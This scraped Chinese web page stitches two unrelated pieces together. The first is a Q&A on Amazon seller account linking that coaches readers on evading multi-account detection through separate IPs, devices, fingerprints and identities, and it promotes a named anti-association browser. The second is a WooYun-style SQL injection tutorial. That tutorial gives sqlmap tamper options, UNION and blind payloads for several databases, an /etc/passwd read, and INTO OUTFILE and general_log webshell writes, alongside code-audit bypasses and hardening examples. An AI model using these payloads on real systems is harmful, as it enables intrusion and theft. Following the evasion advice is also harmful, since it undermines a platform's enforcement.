为啥亚马逊账户会关联?

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了为啥亚马逊账户会关联?相关的知识,希望对你有一定的参考价值。

同一个人只能在亚马逊上注册一个卖家账户。不能经营或维护多个卖家账户。所有卖家的后台操作亚马逊都可以检测到,如果亚马逊的程序算法认为某几个账户都是同一个人来操作,那么这几个账号就会被亚马逊认定为相互关联。这个一般是系统自动检测的。亚马逊为了注重卖家购物体验,防止卖家重复铺货销售相同的产品。(亚马逊的规则偏向于相同的产品只在平台上出现一次,跟卖其实也是基于这个理念,为了保证卖家间的公平竞争和为顾客提供最优质商品的理念,亚马逊的页面不强调店铺的概念,而是以商品为主。即"重商品而轻店铺",同一个商品详情页面内可能会有多个卖家)

为什么亚马逊账户会关联?
账户关联的后果?

关联本身是没有太大问题,但是多个亚马逊账户如果发生关联,其中一个出了问题就会影响到其他与之相关联的账号,避开关联可以降低风险。如果是同站点关联,如果亚马逊发现你的产品有交叉销售,卖同样的产品的话,亚马逊会要求你强制删除其中的一个账户所有的Listing,如果你不删除亚马逊有可能把你两个账户全部关闭。亚马逊有一条政策:关闭你一个账户的理由是现有账户关联到一个被关闭的账户上

避免关联的基本思路?

如果您想多账户操作,那就要做到让亚马逊觉得是不同人拥有和操作这几个账户.

关联的决定性因素有哪些?

操作端:网卡MAC地址,浏览器Cookies, Flash对象,硬盘信息(通过插件获取)——坚决不要在同一台电脑同时操作多个账号(主机)网络端:路由器MAC地址,外网IP地址——坚决不要在同一个外网IP环境下同时操作多个账号账户信息:信用卡,收款方式的信息,电话号码,邮箱,注册地址——如果注册多个账户,任何具有唯一性的私人信息坚决不要相同一个账号最好只在固定的一台干净的电脑上登录,连接的路由器和猫也要是干净的,而且这个网络环境下只用于这个亚马逊账号的操作,同时账户绑定的邮箱也只在这台电脑上登录,总之最好的结果是每个账户之间能不一样的信息尽量做到不一样。

为什么亚马逊账户会关联?
不同的站点会关联吗?(比如美国站和英国站)

也会存在关联,但如果其中一个站点出了问题,另一账号跟着出事的情况不多见(因为亚马逊本来就支持卖家到各个站点开店,把产品销售的各个区域)。很多客户有过相关的经验都说没问题,有卖家之前操作美国站和英国站点用的是同一根网线,同一个电脑(肯定关联了),英国站因为侵权被封,美国站还是风生水起的。但是,曾经有过两个站点一起被移除销售权限的案例,所以大家还是谨慎,自己判定。

账号关联的性质
一般亚马逊上是一个卖家打理一个店铺(账号),即“关联”就是亚马逊通过某些因素(硬性关联因素、非硬性关联因素)发现一个卖家同时拥有多个店铺。(同站点多账号)

二)产生原因
1.提升客户服务
2.抑制卖方垄断市场

三)关联因素
1.硬性关联因素:
IP地址(网线)
‚电脑及配件(路由器、交换机、猫等等)
ƒ无线网卡

2.非硬性关联因素:
注册信息及个人信息(姓名、电话、邮箱、信用卡、地址、p卡或pingpong及wf卡等等)
‚产品相同
ƒ操作习惯(浏览器Cookies数据, Flash对象等等)

四)关联后果
1.亚马逊一旦发现同站点账号关联,会强制要求你删除其中一个账号上的所有lisiting。如果不照做的话,很大可能会关闭两个账号,不过一般是会关闭后面那个关联上的账号。(即A账号关联B账号,关闭A账号。)——交叉卖相同产品
如果是被发现同站点多个账号关联且交叉卖不同品类的产品,账户都表现良好,可能两个站点都不会被关联。

2.操作使用的账号关联了一个已经被关闭的账号,那么这个账号也一定会被关闭,只是不确定关闭时间。

注:亚马逊是默认允许不同站点账号被关联的。

五)建议
使用亚马逊账号是最好在一个干净的网络下操作:即只在一台电脑上固定登录、连接的路由器和猫也是干净的且在这个网络下也只用于这个亚马逊账号的操作,同时账户绑定的邮箱也只在这台电脑上登录,最好是每个账户之间的使用个人信息(名字、地址、邮箱、电话号码、信用卡、p卡或pingpong及wf卡等)尽量做到不一样。(因为亚马逊上的关联是没有任何提醒的。亚马逊不会邮件通知你,也没有客服联系你,更不会后台警告你,所以一旦被发现关联,承担的后果也是很严重的。)
参考技术A

造成关联的因素很多

    用同一个ip登陆

    注册类信息

    都是造成关联的因素之一

参考技术B 为什么会关联,不只是导致关联的因素很多,账号关联的坑很多,有时也是因为粗心大意、掉以轻心。在账号关联的问题上,不仅新手卖家遇到,老司机也经常翻车。
之前逛论坛时就看过,某跨境大公司亚马逊主管,因为在网络上的一次误操作,导致账号关联,一个销量很好的店铺被封,十几二十万的损失公司也表示要该主管承担。遇到这种情况,真是想哭都哭不出来。
如何做好账号防关联也成为了卖家们很头痛的一个问题,专注跨境电商多平台多账号防关联的灵狗浏览器跟大家分享,可能导致关联的一些因素和预防方法:
1.IP
IP是最简单但也是卖家最常遇到的坑,如果使用相同的外网IP登录不同的账号就会被亚马逊记录下来。成为后面判定账号关联的一个“定时炸弹”。
2.浏览器指纹
这里面又分为浏览器信息(包含浏览器类型、内核、版本、操作系统等),屏幕分辨率,浏览器插件(如flash插件等),字体信息(输入法),浏览器接受类型和时区信息等。
3.cookies
这个注意保持清除,问题不大。
4.邮件信息
很多卖家习惯不同账号绑定的邮箱在同一部电脑、同一个外网IP登录,这也是可能被判定关联的行为。我们可以通过禁用邮件加载功能,或者是查看邮件标题然后去亚马逊后台登录查看具体邮件内容的方法来规避。
还有比如账户信息们这里尤其是密码,不要用一样的。收款帐号、域名注册人、品牌注册人和营业执照法人信息,也尽量用不同的身份去申请。MAC地址和路由器MAC地址,则用不同的电脑、多个路由器进行操作。另外一个很多卖家会忽视的产品关联。如果卖家多个店铺销售的是相同的产品,而且标题、描述和图片上也是完全相同,被判定关联的风险会很大。
说了这么多,到底亚马逊如何防关联?我们卖家在日常的运营工作中可以做好哪些预防措施呢?
1.IP问题
用独立IP。方法有很多,虚拟主机或者多网线都是可以的,或者使用一些工具。我自己在用的是灵狗浏览器,很安全也很稳定,而且速度很快,省时省力省心,真的帮我解决了很多问题。
2.浏览器指纹
用不同的浏览器、用不同的插件、不同的版本,不同的电脑操作系统。错开时间处理不同的账号。
3.邮箱
不在同一部电脑上登录,禁用邮件加载功能,养成查看邮件标题后进入平台后台查看内容的习惯
另外,还有比如发货地址这些也是可能导致账号关联的,发货地址这些也不要用相同的。
总而言之一句话,被亚马逊认为关联的因素有很多,但并不是一个因素就会被判定为关联,可能是多个因素作用的结果。我们卖家在日常的运营中,也要多多小心、细心,借助如超级浏览器这样安全可靠的软件工具,才不会掉入账号关联的坑!
参考技术C 举报入口在哪? 参考技术D 自问自答系列

SQL注入关联分析

本文来自乌云知识库,部分内容以作优化,排版进行调整,点击左下角阅读原文可获得更好的阅读体验。原作者:email protected

0x00 序

打开亚马逊,当挑选一本《Android4高级编程》时,它会不失时机的列出你可能还会感兴趣的书籍,比如Android游戏开发、Cocos2d-x引擎等,让你的购物车又丰富了些,而钱包又空了些。关联分析,即从一个数据集中发现项之间的隐藏关系。

在Web攻防中,SQL注入绝对是一个技能的频繁项,为了技术的成熟化、自动化、智能化,我们有必要建立SQL注入与之相关典型技术之间的关联规则。在分析过程中,整个规则均围绕核心词进行直线展开,我们简单称之为“线性”关联。以知识点的复杂性我们虽然称不上为神经网络,但它依然像滚雪球般对知识架构进行完善升级,所以也可称之为雪球技术。

本文以SQL注入为核心,进行的资料信息整合性解读,主要目的有:

       为关联分析这门科学提供简单认知

  1. 为初级安全爱好学习者提供参考,大牛绕过

  2. 分析各关键点的区别与联系

  3. 安全扫盲

本文结构如下:

PS:文章中使用了N多表格形式,主要是为了更好的区别与联系,便于关联分析及对比。

0x01 基本科普

1.1 概念说明

说明:通过在用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。

配置不当的影响:数据库增删改查、后台登录、getshell、执行系统命令

修复:

  1. 使用参数检查的方式,拦截带有SQL语法的参数传入应用程序

  2. 使用预编译的处理方式处理拼接了用户参数的SQL语句

  3. 在参数即将进入数据库执行之前,对SQL语句的语义进行完整性检查,确认语义没有发生变化

  4. 在出现SQL注入漏洞时,要在出现问题的参数拼接进SQL语句前进行过滤或者校验,不要依赖程序最开始处防护代码

  5. 定期审计数据库执行日志,查看是否存在应用程序正常逻辑之外的SQL语句执行


1.2 注入分类

  1. 按照数据包方式分类

    1. Get

    2. post

    3. cookie

    4. auth

  2. 按照呈现形式

    1. 宽字节注入

    2. http header 注入

    3. 伪静态

    4. Base64变形

    5. Error bool time

    6. Int string search

    7. 回显型注入

    8. 盲注

    9. 另类注入


  1. 0x02 神器解读

2.1 何为神器

  • SQLMAP

使用方法,参见乌云知识库。

  1. sqlmap用户手册

  2. sqlmap用户手册[续]

  3. sqlmap进阶使用


Tamper 概览

脚本名称 作用
apostrophemask.py 用utf8代替引号
equaltolike.py like 代替等号
space2dash.py 绕过过滤‘=’ 替换空格字符(”),('' – ')后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py 空格替换为#号 随机字符串 以及换行符
apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py 空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py 在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py 绕过对 IFNULL 过滤。替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py 空格替换为其它空符号
base64encode.py 用base64编码替换
space2mssqlhash.py 替换空格
modsecurityversioned.py 过滤空格,包含完整的查询版本注释
space2mysqlblank.py 空格替换其它空白符号(mysql)
between.py 用between替换大于号(>)
space2mysqldash.py 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py 围绕SQL关键字添加多个空格
space2plus.py 用+替换空格
bluecoat.py 代替空格字符后与一个有效的随机空白字符的SQL语句。然后替换=为like
nonrecursivereplacement.py 取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters
space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py 双url编码(不处理以编码的)
unionalltounion.py 替换UNION ALL SELECT UNION SELECT
charencode.py url编码
randomcase.py 随机大小写
unmagicquotes.py 宽字符绕过 GPC addslashes
randomcomments.py 用/**/分割sql关键字
charunicodeencode.py 字符串 unicode 编码
securesphere.py 追加特制的字符串
versionedmorekeywords.py 注释绕过
space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’

一些妙用:

  1. 避免过多的错误请求被屏蔽 参数:--safe-url,--safe-freq

  2. 二阶SQL注入 参数:--second-order

  3. 从数据库服务器中读取文件 参数:--file-read

  4. 把文件上传到数据库服务器中 参数:--file-write,--file-dest

  5. 爬行网站URL 参数:--crawl

  6. 非交互模式 参数:--batch

  7. 测试WAF/IPS/IDS保护 参数:--identify-waf

  8. 启发式判断注入 参数:--smart(有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。)

  9. -technique

    • B:基于Boolean的盲注(Boolean based blind)

    • Q:内联查询(Inline queries)

    • T:基于时间的盲注(time based blind)

    • U:基于联合查询(Union query based)

    • E:基于错误(error based)

    • S:栈查询(stack queries)


2.2 源码精读

流程图

SQL注入关联分析

目前还未看完,先摘抄一部分(基于时间的盲注)讲解:

测试应用是否存在SQL注入漏洞时,经常发现某一潜在的漏洞难以确认。这可能源于多种原因,但主要是因为Web应用未显示任何错误,因而无法检索任何数据。

对于这种情况,要想识别漏洞,向数据库注入时间延迟并检查服务器响应是否也已经延迟会很有帮助。时间延迟是一种很强大的技术,Web服务器虽然可以隐藏错误或数据,但必须等待数据库返回结果,因此可用它来确认是否存在SQL注入。该技术尤其适合盲注。

使用了基于时间的盲注来对目标网址进行盲注测试,代码如下:

#!python
# In case of time-based blind or stacked queries
# SQL injections
elif method == PAYLOAD.METHOD.TIME:
   # Perform the test's request
   trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
   if trueResult:
       # Confirm test's results
       trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
       if trueResult:
           infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
           logger.info(infoMsg)
           injectable = True

重点注意Request.queryPage函数,将参数timeBasedCompare设置为True,所以在Request.queryPage函数内部,有这么一段代码:

#!python
if timeBasedCompare:
   return wasLastRequestDelayed()

而函数wasLastRequestDelayed()的功能主要是判断最后一次的请求是否有明显的延时,方法就是将最后一次请求的响应时间与之前所有请求的响应时间的平均值进行比较,如果最后一次请求的响应时间明显大于之前几次请求的响应时间的平均值,就说明有延迟。

wasLastRequestDelayed函数的代码如下:

#!python
def wasLastRequestDelayed():
   """
   Returns True if the last web request resulted in a time-delay
   """
   deviation = stdev(kb.responseTimes)
   threadData = getCurrentThreadData()
   if deviation:
       if len(kb.responseTimes) < MIN_TIME_RESPONSES:
           warnMsg = "time-based standard deviation method used on a model "
           warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES
           logger.warn(warnMsg)
       lowerStdLimit = average(kb.responseTimes) + TIME_STDEV_COEFF * deviation
       retVal = (threadData.lastQueryDuration >= lowerStdLimit)
       if not kb.testMode and retVal and conf.timeSec == TIME_DEFAULT_DELAY:
           adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit)
       return retVal
   else:
       return (threadData.lastQueryDuration - conf.timeSec) >= 0

每次执行http请求的时候,会将执行所响应的时间append到kb.responseTimes列表中,但不包括time-based blind所发起的请求。

从以下代码就可以知道了,当timeBasedCompare为True(即进行time-based blind注入检测)时,直接返回执行结果,如果是其他类型的请求,就保存响应时间。

#!python
if timeBasedCompare:
   return wasLastRequestDelayed()
elif noteResponseTime:
   kb.responseTimes.append(threadData.lastQueryDuration)

另外,为了确保基于时间的盲注的准确性,sqlmap执行了两次queryPage。

如果2次的结果都为True,那么就说明目标网址可注入,所以将injectable 设置为True。

0x03 数据库特性

3.1 Web报错关键字

  • Microsoft OLE DB Provider

  • ORA-

  • PLS-

  • Error in your SQL Syntax

  • SQL Error

  • Incorrect Syntax near

  • Failed Mysql

  • Unclosed Quotation Mark

  • JDBC/ODBC Driver


3.2 版本查询

  • Mysql: /?param=1 select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

  • MSSQL: /?param=1 and(1)=convert(int,@@version)--

  • Sybase: /?param=1 and(1)=convert(int,@@version)--

  • Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v\_$version where rownum=1)||chr(62))) from dual)—

  • PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--


3.3 SQL方言差异

DB 连接符 行注释 唯一的默认表变量和函数
MSSQL %2B(URL+号编码)(e.g. ?category=sho’%2b’es) -- @@PACK_RECEIVED
MYSQL %20 (URL空格编码) # CONNECTION_ID()
Oracle || -- BITAND(1,1)
PGsql || -- getpgusername()
Access “a” & “b” N/A msysobjects

3.4 SQL常用语句

SQL常用语句

内容 MSSQL MYSQL ORACLE
查看版本 select @@version select @@version select version() Select banner from v$version;
当前用户 select system_users; select suer_sname(); select user; select loginname from master..sysprocesses WHERE spid [email protected]@SPID; select user(); select system_user(); Select user from dual
列出用户 select name from master..syslogins; select user from mysql.user; Select username from all_users ORDER BY username; Select username from all_users;
当前库 select DB_NAME(); select database(); Select global_name from global_name;
列出数据库 select name from master..sysdatabases; select schema_name from information_schema.schemata; Select ower,table_name from all_users; #列出表明
当前用户权限 select is_srvolemenber(‘sysadmin’); select grantee, privilege_type,is_grantable from information schema.user privileges; Select * from user role_privs; Select * from user_sys_privs;
服务器主机名 select @@servername; / Select sys_context(‘USERENV’,’HOST’) from dual;

SQL注入关联分析

3.5 盲注函数

数据 MSSQL Mysql oracle
字符串长度 LEN() LENGTH() LENGTH()
从给定字符串中提取子串 SUBSTRING(string,offset,length) SELECT SUBSTR(string,offset,length) SELECT SUBSTR(string,offset,length) From dual
字符串(‘ABC’)不带单引号的表示方式 SELECT CHAR(0X41)+CHAR(0X42)+ CHAR(0X43) Select char(65,66,67) Select chr(65)||chr(66)+chr(67) from dual
触发延时 WAITFOR DELAY ‘0:0:9’ BENCHMARK(1000000,MD5(“HACK”)) Sleep(10) BEGIN DBMS_LOCK.SLEEP(5);END; --(仅PL/SQL注入) UTL_INADDR.get_host_name() UTL_INADDR.get_host_address() UTL_HTTP.REQUEST()
IF语句 If (1=1) select ‘A’ else select ‘B’ SELECT if(1=1,’A’,’B’) /

PS:SQLMAP 针对Oracle注入时,使用了比较费解的SUBSTRC,好多时候得中转更改为SUBSTR.

0x04 手工注入

4.1 应用场景

  1. 快速验证(概念性证明)

  2. 工具跑不出来了

    1. 的确是注入,但不出数据

    2. 特征不规律,挖掘规律,定制脚本

  3. 绕过过滤

    1. 有WAF,手工注入

    2. 有过滤,搞绕过

  4. 盲注类


4.2 常用语句

SQL注入关联分析

数据库 语句(大多需要配合编码)
Oracle oder by N
# 爆出第一个数据库名
and 1=2 union select 1,2,(select banner from sys.v_ where rownum=1),4,5,6 from dual
# 依次爆出所有数据库名,假设第一个库名为first_dbname
and 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>'first_dbname'),4,5,6 from dual
爆出表名
and 1=2 union select 1,2,(select table_name from user_tables where rownum=1),4,5,6 from dual
同理,同爆出下一个数据库类似爆出下一个表名就不说了,但是必须注意表名用大写或者表名大写的十六进制代码。
有时候我们只想要某个数据库中含密码字段的表名,采用模糊查询语句,如下:
and (select column_name from user_tab_columns where column_name like '%25pass%25')<0
爆出表tablename中的第一个字段名
and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and rownum=1),4,5,6 from dual
依次下一个字段名
and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and column_name<>'first_col_name' and rownum=1),4,5,6 from dual

若为基于时间或者基于bool类型盲注,可结合substr 、ASCII进行赋值盲测。
若屏蔽关键函数,可尝试SYS_CONTEXT('USERENV','CURRENT_USER')类用法。

Mysql #正常语句
192.168.192.128/sqltest/news.php?id=1
#判断存在注入否
192.168.192.128/sqltest/news.php?id=1 and 1=2
#确定字段数 order by
192.168.192.128/sqltest/news.php?id=-1 order by 3
#测试回显字段
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,3
#测试字段内容
192.168.192.128/sqltest/news.php?id=-1 union select 1,user(),3
192.168.192.128/sqltest/news.php?id=-1 union select 1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3
#查询当前库下所有表
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
#查询admin表下的字段名(16进制)
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e
#查询admin表下的用户名密码
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(name,0x5e,pass) from admin
#读取系统文件(/etc/passwd,需转换为16进制)
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,load_file(0x2f6574632f706173737764)
#文件写入
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'--
PS:若权限不足,换个目录
MSSQL PS:回显型请查阅参考资料的链接,这里主要盲注的语法。
#爆数据库版本(可先测长度)
aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=67/**/--&t=0
ps:在范围界定时,可利用二分查找结合大于小于来利用;亦可直接赋值脚本爆破,依次类推直至最后一字母。
#爆当前数据库名字
aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0
#爆表
aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1 name/**/from/**/dbname.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0
#爆user表内字段
aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME from/**/dbname.information_schema.columns/**/where/** /TABLE_NAME='user'),1,1))>0/**/--&t=0
#爆数据
aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/User),1,1))>0/**/--&t=0

PS:关于注入绕过(bypass),内容偏多、过细,本次暂不归纳。单独一篇

0x05 漏洞挖掘

5.1 黑盒测试

套装组合

  1. AWVS类 + sqlmap (手工)

  2. Burp + sqlmapAPI(手工)

SQL注入关联分析

减少体力活的工程化

  • Sqli-hunter

  • GourdScan

5.2 代码审计

白盒的方式有两种流,一种是检查所有输入,另一种是根据危险函数反向

注入引发的特征点及敏感函数

NO. 概要
1 $_SERVER未转义
2 更新时未重构更新序列
3 使用了一个未定义的常量
4 PHP自编标签与strip_tags顺序逻辑绕过
5 可控变量进入双引号
6 宽字节转编码过程
7 mysql多表查询绕过
8 别名as+反引号可闭合其后语句
9 mysql的类型强制转换
10 过滤条件是否有if判断进入
11 全局过滤存在白名单
12 字符串截断函数获取定长数据
13 括号包裹绕过
14 弱类型验证机制
15 WAF或者过滤了and|or的情况可以使用&&与||进行盲注。
16 windows下php中访问文件名使用”<” “>”将会被替换成”*” “?”
17 二次urldecode注入
18 逻辑引用二次注入

1.$_SERVER[‘PHP_SELF’]和$_SERVER[‘QUERY_STRING’],而$_SERVER并没有转义,造成了注入。

2.update更新时没有重构更新序列,导致更新其他关键字段(金钱、权限)

SQL注入关联分析

SQL注入关联分析

SQL注入关联分析

3.在 php中 如果使用了一个未定义的常量,PHP 假定想要的是该常量本身的名字,如同用字符串调用它一样(CONSTANT 对应 “CONSTANT”)。此时将发出一个 E_NOTICE 级的错误(参考http://php.net/manual/zh/language.constants.syntax.php)

4.PHP中自编写对标签的过滤或关键字过滤,应放在strip_tags等去除函数之后,否则引起过滤绕过。

#!php
<?php
function mystrip_tags($string)
{
   $string = remove_xss($string);
   $string = new_html_special_chars($string);
   $string = strip_tags($string);//remove_xss在strip_tags之前调用,所以很明显可以利用strip_tags函数绕过,在关键字中插入html标记.
   return $string;
}
?>

SQL注入关联分析

5.当可控变量进入双引号中时可形成webshell因此代码执行使用,${file_put_contents($_GET[f],$_GET[p])}可以生成webshell。

SQL注入关联分析

6.宽字节转编码过程中出现宽字节注入

PHP连接MySQL时设置set character_set_client=gbk ,MySQL服务器对查询语句进行GBK转码导致反斜杠%df吃掉。

7.构造查询语句时无法删除目标表中不存在字段时可使用mysql多表查询绕过

#!sql
select uid,password from users,admins;
(uid存在于users、password存在于admins)

SQL注入关联分析

8.mysql中(反引号)能作为注释符,且会自动闭合末尾没有闭合的反引号。无法使用注释符的情况下使用别名as+反引号可闭合其后语句。

9.mysql的类型强制转换可绕过PHP中empty()函数对0的false返回

提交/?test=0axxx  ->  empty($_GET['test'])  =>  返回真

但是mysql中提交其0axxx到数字型时强制转换成数字0

SQL注入关联分析

10.存在全局过滤时观察过滤条件是否有if判断进入,cms可能存在自定义safekey不启用全局过滤。通过程序遗留或者原有界面输出safekey导致绕过。

#!php
if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])
{
foreach($_POST as $id=>$v){
safesql($id,$v,"POST",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$_POST[$id]=common_htmlspecialchars($v);
}
}

11.由于全局过滤存在白名单限定功能,可使用无用参数带入绕过。

$webscan_white_directory='admin|/dede/|/install/';

请求中包含了白名单参数所以放行。

http://www.target.com/index.php/dede/?m=foo&c=bar&id=1' and 1=2 union select xxx

12.字符串截断函数获取定长数据,截取\前一位,闭合语句。

利用条件必须是存在两个可控参数,前闭合,后注入。

13.过滤了空格,逗号的注入,可使用括号包裹绕过。具体如遇到select from(关键字空格判断的正则,且剔除/**/等)可使用括号包裹查询字段绕过。

14.由于PHP弱类型验证机制,导致==in_array()等可通过强制转换绕过验证。

SQL注入关联分析

15.WAF或者过滤了and|or的情况可以使用&&与||进行盲注。

#!sql
http://demo.74cms.com/user/user_invited.php?id=1%20||%20strcmp(substr(user(),1,13),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116))&act=invited

16.windows下php中访问文件名使用”<” “>”将会被替换成”*” “?”,分别代表N个任意字符与1个任意字符。

file_get_contents("/images/".$_GET['a'].".jpg");

可使用test.php?a=../a<%00访问对应php文件。

17.使用了urldecode 或者rawurldecode函数,则会导致二次解码声场单引号而发生注入。

#!php
<?php
$a=addslashes($_GET['p']);
$b=urldecode($a);
echo '$a=' .$a;
echo '<br />';
echo '$b=' .$b;
?>

18.逻辑引用,导致二次注入

部分盲点

盲点如下:

  1. 注入点类似id=1这种整型的参数就会完全无视GPC的过滤;


  2. 注入点包含键值对的,那么这里只检测了value,对key的过滤就没有防护;


  3. 有时候全局的过滤只过滤掉GET、POST和COOKIE,但是没过滤SERVER。


附常见的SERVER变量(具体含义自行百度):

QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE

PS:若对注入的代码审计有实际操类演练,参考[email protected]

0x06 安全加固

6.1 源码加固

1.预编译处理

参数化查询是指在设计与数据库链接并访问数据时,在需要填入数值或数据的地方,使用参数来给值。在SQL语句中,这些参数通常一占位符来表示。

MSSQL(ASP.NET)

为了提高sql执行速度,请为SqlParameter参数加上SqlDbType和size属性

#!php
SqlConnection conn = new SqlConnection("server=(local)\SQL2005;user id=sa;pwd=12345;initial catalog=TestDb");
conn.Open();
SqlCommand cmd = new SqlCommand("SELECT TOP 1 * FROM [User] WHERE UserName = @UserName AND Password = @Password");
cmd.Connection = conn;
cmd.Parameters.AddWithValue("UserName", "user01");
cmd.Parameters.AddWithValue("Password", "123456");

reader = cmd.ExecuteReader();
reader.Read();
int userId = reader.GetInt32(0);

reader.Close();
conn.Close();

php

#!php
// 实例化数据抽象层对象
$db = new PDO('pgsql:host=127.0.0.1;port=5432;dbname=testdb');
// 对 SQL 语句执行 prepare,得到 PDOStatement 对象
$stmt = $db->prepare('SELECT * FROM "myTable" WHERE "id" = :id AND "is_valid" = :is_valid');
// 绑定参数
$stmt->bindValue(':id', $id);
$stmt->bindValue(':is_valid', true);
// 查询
$stmt->execute();
// 获取数据
foreach($stmt as $row) {
var_dump($row);
}

JAVA

#!java
java.sql.PreparedStatement prep = connection.prepareStatement(
"SELECT * FROM `users` WHERE USERNAME = ? AND PASSWORD = ?");
prep.setString(1, username);
prep.setString(2, password);
prep.executeQuery();

PS:尽管SQL语句大体相似,但是在不同数据库的特点,可能参数化SQL语句不同,例如在Access中参数化SQL语句是在参数直接以“?”作为参数名,在SQL [email protected],在MySQL中是参数有“?”前缀,在Oracle中参数以“:”为前缀。

2.过滤函数的使用

  1. addslashes()


  2. mysql_escape_string()


  3. mysql_real_escape_string()


  4. intval()


3.框架及第三方过滤函数与类

  1. JAVA hibernate框架


  2. Others


6.2 产品加固

  • Web应用防火墙——WAF


  • Key:云waf、安全狗、云锁、sqlchop


0x07 关联应用

7.1 Getshell

  1. 注入,查数据,找管理员密码,进后台,找上传,看返回,getshell


  2. PHP MYSQL 类,大权限,知路径,传文件,回shell(上传&命令执行),OS-SHELL。

  3. MSSQL大权限,知路径,传文件,回shell。结合xp_cmdshell 执行系统命令。

  4. Phpmyadmin getshell (编码)


    1. select '<?eval($_POST[cmd]);?>' into outfile 'd:/wwwroot/1.php';

  5. Union select getshell

    1. and 1=2 union select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/alidata/www/cms/ttbdxt/conf.php'--

    2. 日志文件getshell:

      SET GLOBAL general_log='on'

      SET GLOBAL general_log_file='C:/phpStudy/www/xxx.php'


7.2 关联功能点

序号 功能点 参数
1 登录 Username password
2 Header Cookie Referer x-forward remote-ip
3 查询展示 , 数据写入(表单) , 数据更新 id u category price str value
4 数据搜素 Key
5 伪静态 (同3),加*
6 Mysql不安全配置 , Set character_set_client=gbk %df%27
7 传参(横向数据流向、纵向入库流向) Parameter (同3)
8 订单类多级交互、重新编辑 , 配送地址、资料编辑 二次注入
9 APP仍调用WEB API 同3
10 编码urldecode base64 Urldecode() rawurldecode()

0x08 参考资料


  • http://blog.csdn.net/rongyongfeikai2/article/details/40457827

  • http://www.madebug.net/static/drops/tips-5254.html

  • https://www.91ri.org/7852.html

  • https://www.91ri.org/7869.html

  • https://www.91ri.org/7860.html

  • http://www.cnblogs.com/hongfei/category/372087.html

  • http://www.cnblogs.com/shellr00t/p/5310187.html

  • https://www.91ri.org/15074.html

  • http://blog.wils0n.cn/?post=11


以上是关于为啥亚马逊账户会关联?的主要内容,如果未能解决你的问题,请参考以下文章

为啥亚马逊账户会关联

如何防止亚马逊账户关联

为啥亚马逊会关联?

手机上登亚马逊账号会关联吗?

一个亚马逊账号绑定过,会不会关联

AWS 账户与亚马逊消费者账户